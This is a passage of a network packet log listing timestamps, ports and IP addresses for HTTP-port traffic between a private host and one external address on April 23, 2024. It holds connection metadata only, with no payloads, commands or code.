Apr 23, 2024 08:39:58.840636969 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840667963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840693951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840744019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840759993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840765953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840802908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840802908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840836048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840940952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840964079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840976000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840981960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840996981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841021061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841046095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841065884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841087103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841101885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841124058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841150045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841170073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841217995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841218948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841240883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841279030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841285944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841337919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841351032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841362953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841382980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841440916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841454029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841460943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841476917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841497898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841502905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841578960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841643095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841666937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841677904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841691017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841696978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841708899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841794014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841814041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841876030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841880083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.841888905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841974020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.841994047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842005014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842022896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842044115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842063904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842097998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842123032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842143059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842155933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842161894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842166901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842176914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842189074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842235088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842238903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842238903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842286110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842292070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842379093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842398882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842430115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842448950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842487097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842499018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842505932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842535973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842535973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842546940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842580080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842597008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842617989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842637062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842658997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842678070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842710018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842730045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842812061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842824936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842832088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842864990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842870951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842870951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842875957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842909098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.842972040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842984915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.842997074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843015909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843049049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843054056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843143940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843164921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843173981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843193054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843214035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843234062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843236923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843250036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843256950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843275070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843311071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843332052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843389034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843409061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843441010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843461037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843471050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843491077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843517065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843538046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843580008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843617916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843626022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843655109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843694925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843713999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843761921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843775988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843789101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843841076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843852997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843858004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843864918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843883991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843887091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843907118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843926907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843946934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.843977928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843991041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.843997955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844018936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844048023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844067097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844088078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844116926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844139099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844160080 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844161987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844178915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844218969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844243050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844274998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844295025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844296932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844312906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844317913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844340086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844361067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844361067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844373941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844407082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844413042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844481945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844495058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844501972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844520092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844537973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844537973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844578981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844676971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844715118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844733953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844765902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844778061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844786882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844801903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844814062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844814062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844824076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844845057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844913006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844933987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844933987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.844953060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.844985008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845005035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845052958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845061064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845073938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845093966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845159054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845171928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845396042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845449924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845463991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845469952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845474958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845484018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845534086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845556021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845571995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845613956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845724106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845743895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845766068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845788956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845809937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845829010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845832109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.845851898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845930099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.845942020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846004963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846044064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846055984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846062899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846149921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846162081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846170902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846208096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846208096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846290112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846302986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846342087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846344948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846344948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846354008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846386909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846406937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846530914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846537113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846544981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846584082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846584082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846606970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846683025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846695900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846708059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846719027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846738100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846793890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846801043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846847057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846858978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846860886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846870899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846892118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846892118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846911907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.846934080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.846988916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847059965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847100973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847112894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847124100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847135067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847168922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847174883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847177029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847177982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847300053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847323895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847345114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847353935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847414970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847414970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847455025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847480059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847485065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847505093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847507000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847531080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847604990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847609043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847620964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847640038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847641945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847661972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847682953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847702980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847703934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847723007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847757101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847769022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847863913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847884893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847906113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847924948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847928047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.847946882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.847991943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848059893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848089933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848141909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848164082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848261118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848273039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848274946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848284960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848305941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848324060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848344088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848392963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848413944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848601103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848674059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848694086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848725080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848743916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848751068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848768950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848784924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848803997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848807096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848825932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848855019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.848886013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848942041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848956108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.848992109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849006891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849009037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849030018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849049091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849091053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849102020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849123001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849134922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849153996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849157095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.849184036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.849199057 CEST	80	49705	138.199.40.58	192.168.2.7
